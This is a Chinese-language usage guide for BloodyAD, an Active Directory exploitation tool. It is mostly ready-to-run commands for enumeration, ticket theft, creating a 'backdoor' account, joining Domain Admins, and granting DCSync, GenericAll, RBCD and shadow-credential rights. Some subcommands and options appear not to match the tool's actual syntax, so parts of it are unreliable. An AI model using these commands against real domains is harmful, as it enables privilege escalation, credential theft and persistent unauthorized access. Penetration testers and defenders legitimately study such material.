BloodyAD 命令使用详解
BloodyAD 是一款用于 Active Directory 枚举与利用的开源工具,通过命令行界面与 AD 的 LDAP 和 Kerberos 协议交互,支持多种认证方式(明文密码、NTLM 哈希、Kerberos 票据)。本文将介绍 BloodyAD 的核心命令用法,涵盖枚举、权限修改、权限提升和持久化操作,帮助你高效掌握该工具。
一、命令基础结构
BloodyAD 命令格式如下:
bloodyAD [认证参数] [操作] [子命令] [目标参数]
1.1 认证参数
认证参数指定访问 AD 的凭据和域控信息:
-u <username>
:域用户名(如user1
)。-p <password>
:用户密码(如password1
)。-k
:启用 Kerberos 认证(需配置/etc/krb5.conf
)。--hash <hash>
:NTLM 哈希(如aad3b435b51404eeaad3b435b51404ee:5e884898da28047151d0e56f8dc62927
)。-d <domain>
:目标域名(如domain.local
)。-dc-ip <ip>
:域控 IP(如192.168.1.10
)。-c <path>
:证书认证(指定证书路径)。-s
:启用 LDAPS(端口 636,需域控支持)。
示例:
bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get users
1.2 通用选项
--help
:显示帮助信息。-v
:详细输出,便于调试。--json
:以 JSON 格式输出结果。
二、核心功能命令详解
以下主要介绍 get
、add
和 set
命令的子命令及用法。
2.1 枚举命令(get)
枚举用于收集 AD 信息,如用户、组、计算机等。
2.1.1 获取域用户(get users)
功能:列出域内用户及其属性(如 sAMAccountName、SID、描述)。
命令:
bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get users
可选参数:
--filter <filter>
:筛选条件(如name=admin*
)。--attributes <attr1,attr2>
:指定属性(如sAMAccountName,description
)。
示例:
bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get users --filter "name=admin*" --attributes sAMAccountName,description
输出:返回匹配 admin*
的用户,显示账户名和描述。
2.1.2 获取域组(get groups)
功能:列出域内组及其属性(如 SID、名称、成员)。
命令:
bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get groups
可选参数:
--filter <filter>
:筛选组(如name=Domain Admins
)。--members
:显示组成员详情。
示例:
bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get groups --filter "name=Domain Admins" --members
输出:显示 Domain Admins
组及其成员。
2.1.3 获取计算机对象(get computers)
功能:列出域内计算机及其属性(如 hostname、OS 版本)。
命令:
bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get computers
可选参数:
--filter <filter>
:筛选计算机(如operatingSystem=Windows Server*
)。--attributes <attr1,attr2>
:指定属性(如dNSHostName,operatingSystem
)。
示例:
bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get computers --filter "operatingSystem=Windows Server*" --attributes dNSHostName
输出:返回运行 Windows Server 的计算机主机名。
2.1.4 获取组策略对象(get gpos)
功能:列出域内 GPO 及其属性(如名称、路径)。
命令:
bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get gpos
可选参数:
--filter <filter>
:筛选 GPO(如name=*Security*
)。
示例:
bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get gpos --filter "name=*Security*"
输出:返回名称包含 Security
的 GPO。
2.1.5 获取域信任关系(get trusts)
功能:列出域的信任关系(如外部域、森林信任)。
命令:
bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get trusts
示例:
bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get trusts
输出:显示 domain.local
的信任关系。
2.1.6 获取 Kerberos 票据(get tgt)
功能:请求 Kerberos TGT,用于票据传递攻击。
命令:
bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get tgt
可选参数:
--user <username>
:指定目标用户(默认认证用户)。--output <file>
:保存票据(如ticket.kirbi
)。
示例:
bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get tgt --output ticket.kirbi
输出:生成 ticket.kirbi
文件,包含 TGT。
2.2 权限修改与持久化命令(add)
add
命令用于添加对象或权限,参数精简,直接指定目标和值。
2.2.1 添加用户(add user)
功能:创建新域用户。
命令:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add user <username> <password>
参数:
<username>
:新用户名(如backdoor
)。<password>
:新用户密码(如Backdoor123
)。--ou <ou_path>
:指定组织单位(可选,如OU=Users,DC=domain,DC=local
)。
示例:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add user backdoor Backdoor123
输出:创建用户 backdoor
,密码为 Backdoor123
。
2.2.2 添加计算机(add computer)
功能:添加新计算机对象。
命令:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add computer <computername> <password>
参数:
<computername>
:计算机名称(如COMP1
)。<password>
:计算机账户密码。--ou <ou_path>
:指定组织单位(可选)。
示例:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add computer COMP1 CompPass123
输出:创建计算机账户 COMP1$
,密码为 CompPass123
。
2.2.3 添加组成员(add groupMember)
功能:将用户、组或计算机添加到组。
命令:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add groupMember <group_name> <member>
参数:
<group_name>
:目标组(如Domain Admins
)。<member>
:添加的成员(sAMAccountName,如user1
)。
示例:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add groupMember "Domain Admins" user1
输出:将 user1
添加到 Domain Admins
。
2.2.4 添加 DNS 记录(add dnsRecord)
功能:添加 DNS 记录。
命令:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add dnsRecord <zone> <record_name> <record_type> <record_data>
参数:
<zone>
:DNS 区域(如domain.local
)。<record_name>
:记录名称(如test
)。<record_type>
:记录类型(如A
、CNAME
)。<record_data>
:记录数据(如192.168.1.100
)。
示例:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add dnsRecord domain.local test A 192.168.1.100
输出:添加 A 记录 test
指向 192.168.1.100
。
2.2.5 添加 DCSync 权限(add dcsync)
功能:为对象添加 DCSync 权限,允许同步域对象(需 WriteDacl 权限)。
命令:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add dcsync <trustee>
参数:
<trustee>
:接收权限的对象(sAMAccountName 或 SID)。
示例:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add dcsync user1
输出:为 user1
添加 DCSync 权限。
2.2.6 添加 GenericAll 权限(add genericAll)
功能:赋予对象对目标的完全控制权限(需拥有目标或 WriteDacl 权限)。
命令:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add genericAll <target> <trustee>
参数:
<target>
:目标对象(sAMAccountName 或 DN)。<trustee>
:接收权限的对象(sAMAccountName 或 SID)。
示例:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add genericAll "Domain Admins" user1
输出:为 user1
赋予对 Domain Admins
的完全控制权限。
2.2.7 添加资源约束委派(add rbcd)
功能:为目标服务添加资源约束委派,允许服务代表用户访问目标(需 Write 权限,Windows Server 2012+)。
命令:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add rbcd <target> <service>
参数:
<target>
:目标对象(通常为计算机,sAMAccountName)。<service>
:委派服务账户(sAMAccountName)。
示例:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add rbcd COMP1$ user1
输出:允许 user1
代表其他用户访问 COMP1$
。
2.2.8 添加影子凭据(add shadowCredentials)
功能:为目标添加密钥凭据,用于伪造身份认证。
命令:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add shadowCredentials <target>
参数:
<target>
:目标对象(sAMAccountName 或 DN)。
示例:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add shadowCredentials user1
输出:为 user1
添加影子凭据。
2.2.9 添加用户账户控制标志(add uac)
功能:为对象添加 UAC 标志,修改行为。
命令:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add uac <target> <flag>
参数:
<target>
:目标对象(sAMAccountName)。<flag>
:UAC 标志(如DONT_REQUIRE_PREAUTH
)。
示例:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add uac user1 DONT_REQUIRE_PREAUTH
输出:为 user1
添加 DONT_REQUIRE_PREAUTH
标志,禁用预认证。
2.3 权限修改命令(set)
set
命令用于修改对象属性或状态。
2.3.1 修改对象属性(set object)
功能:添加、替换或删除对象属性(如描述、SPN)。
命令:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 set object <target> <attribute> <value> [--operation <operation>]
参数:
<target>
:目标对象(sAMAccountName 或 DN)。<attribute>
:属性(如description
)。<value>
:新值(对于添加/替换)。--operation <operation>
:操作类型(add
、replace
、delete
,默认replace
)。
示例:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 set object user1 description "Test account"
输出:将 user1
的描述设置为 Test account
。
示例(删除属性):
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 set object user1 description "" --operation delete
输出:删除 user1
的描述字段。
2.3.2 修改对象所有者(set owner)
功能:更改对象所有者(需 WriteOwner 权限)。
命令:
bloodyAD -u user -p password -d domain.local -dc-ip 192.168.1.10 set owner <target> <owner>
参数:
<target>
:目标对象(sAMAccountName 或 DN)。<owner>
:新所有者(sAMAccountName 或 SID)。
示例:
bloodyAD -u user -p password -d domain.local -dc-ip 192.168.1.10 set owner "Domain Admins" user1
输出:将 Domain Admins
的所有者设置为 user1
。
2.3.3 修改密码(set password)
功能:重置用户或计算机密码。
命令:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 set password <target> <new_password>
参数:
<target>
:目标用户或计算机(sAMAccountName)。<new_password>
:新密码。
示例:
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 set password user1 NewPass123
输出:将 user1
的密码重置为 NewPass123
。
三、进阶用法
3.1 组合命令
组合命令实现复杂操作。例如,枚举组后添加成员:
bloodyAD -u user -p password -d domain.local -dc-ip 192.168.1.10 get groups --filter "name=Domain Admins" --members
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add groupMember "Domain Admins" user1
3.2 JSON 输出
为自动化处理,使用 --json
:
bloodyAD -u user -p password -d domain.local -dc-ip 192.168.1.10 get users --json > users.json
3.3 Kerberos 认证
配置 /etc/krb5.conf
:
[realms]DOMAIN.LOCAL = {kdc = 192.168.1.10admin_server = 192.168.1.10}
使用 Kerberos:
bloodyAD -u user1 -k -d domain.local -dc-ip 192.168.1.10 get users